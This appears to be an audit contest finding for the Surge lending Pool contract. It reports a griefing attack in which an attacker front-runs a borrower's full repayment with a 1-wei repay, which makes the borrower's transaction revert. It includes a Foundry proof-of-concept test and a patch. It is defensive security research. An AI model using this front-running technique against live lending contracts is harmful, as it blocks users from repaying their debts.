rvi

medium

# Grieving attack by failing user repay transaction

## Summary
Grieving attack by failing the user to repay the transaction
## Vulnerability Detail
an attacker can revert legit users when they are paying back their borrowed amount by front-running their transaction and paying back a small amount of their debt 

`Pool.sol#530`

```solidity
_currentTotalDebt -= amount;
```

as you can see in line 530 of repay function there is subtraction and will revert if the amount is higher than `_currentTotalDebt`

also here is an attack scenario you can add to `Pool.t.sol`:
```solidity
function testAttack1() public {

        address attacker = address(0xEE);

        uint256 amount = 1e18 + 1;

        MockERC20 collateralToken = new MockERC20(amount, 18);
        MockERC20 loanToken = new MockERC20(amount, 18); 
        Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 1e18, 0.6e18 /* 0.6e18 = 60% */, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        
        loanToken.approve(address(pool), type(uint).max);
        collateralToken.approve(address(pool), type(uint).max);
        loanToken.transfer(attacker, 1);
        // Setup Pool
        pool.deposit(1e18);
        pool.addCollateral(address(this), 1e18);

        // user Borrowed 10000
        pool.borrow(10000);

        vm.startPrank(attacker);
        {
            loanToken.approve(address(pool), 1);
            // Attacker pays 1 wei of the loan
            pool.repay(address(this), 1);
        }
        vm.stopPrank();

        vm.expectRevert();
        // first transaction that front run by the attacker
        pool.repay(address(this), 10000);// REVERTS

    }
```

## Impact
failing user transaction to pay back his/her borrowed amount
## Code Snippet
https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L504-L547

## Tool used

Manual Review, forge

## Recommendation
adding a condition for calculation fixes this problem

```solidity
function repay(address borrower, uint amount) external {
        uint _loanTokenBalance = LOAN_TOKEN.balanceOf(address(this));
        (address _feeRecipient, uint _feeMantissa) = FACTORY.getFee();
        (  
            uint _currentTotalSupply,
            uint _accruedFeeShares,
            uint _currentCollateralRatioMantissa,
            uint _currentTotalDebt
        ) = getCurrentState(
            _loanTokenBalance,
            _feeMantissa,
            lastCollateralRatioMantissa,
            totalSupply,
            lastAccrueInterestTime,
            lastTotalDebt
        );

        uint _debtSharesSupply = debtSharesSupply;
+       uint totalUserDebt = getDebtOf(debtSharesBalanceOf[borrower], _debtSharesSupply, _currentTotalDebt);
        uint _shares;
-       if(amount == type(uint).max) {
+       if(amount == type(uint).max || amount >= totalUserDebt){
-           amount = getDebtOf(debtSharesBalanceOf[borrower], _debtSharesSupply, _currentTotalDebt);
+           amount = totalUserDebt;
            _shares = debtSharesBalanceOf[borrower];
        } else {
            _shares = tokenToShares(amount, _currentTotalDebt, _debtSharesSupply, false);
        }
        _currentTotalDebt -= amount;
        
        // commit current state
        debtSharesBalanceOf[borrower] -= _shares;
        debtSharesSupply = _debtSharesSupply - _shares;
        totalSupply = _currentTotalSupply;
        lastTotalDebt = _currentTotalDebt;
        lastAccrueInterestTime = block.timestamp;
        lastCollateralRatioMantissa = _currentCollateralRatioMantissa;
        emit Repay(borrower, msg.sender, amount);
        if(_accruedFeeShares > 0) {
            balanceOf[_feeRecipient] += _accruedFeeShares;
            emit Transfer(address(0), _feeRecipient, _accruedFeeShares);
        }

        // interactions
        safeTransferFrom(LOAN_TOKEN, msg.sender, address(this), amount);
    }
```
